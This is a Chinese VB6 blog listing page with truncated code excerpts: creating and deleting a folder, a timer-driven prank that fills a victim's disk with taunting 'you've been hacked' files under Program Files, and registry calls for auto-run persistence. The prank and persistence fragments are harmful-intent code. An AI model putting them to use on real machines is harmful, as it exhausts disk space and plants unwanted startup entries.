首先要[工程]-[引用] Microsoft Scriptting Runtime
Private Sub Command1_Click() Dim fso As New FileSystemObject If fso.FolderExists("c:abc") Then MsgBox ("文件夹已存在") Else fso.CreateFolder ("c:abc") End If End Sub
Private Sub Command2_Click() Dim fso As New FileSystemObject If Not fso.FolderExists("c:abc") Then MsgBox ("文件夹不存在") Else fso.DeleteFolder ("c:ab...
vb建立删除文件夹阅读全文
首先新建一个.exe工程,然后在窗体中加入timer控件,设置timer的interval=1,双点timer控件,输入以下代码Private Sub Timer1_Timer()
Dim files As StringDim nr As StringDim c As StringStatic count As Long ‘声明变量,其中“count”为静态变量,以便生成不同的文件c = "c:\Program Files\" ’定义要把生成的文件存放在那个目录文件下nr = "哈哈,被黑的感觉的不错吧" ’生成文件的内容files = FreeFileIf a = a ...
塞满硬盘, 随机产生文件阅读全文
模块代码
Option Explicit
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long...
VB, 自动运行阅读全文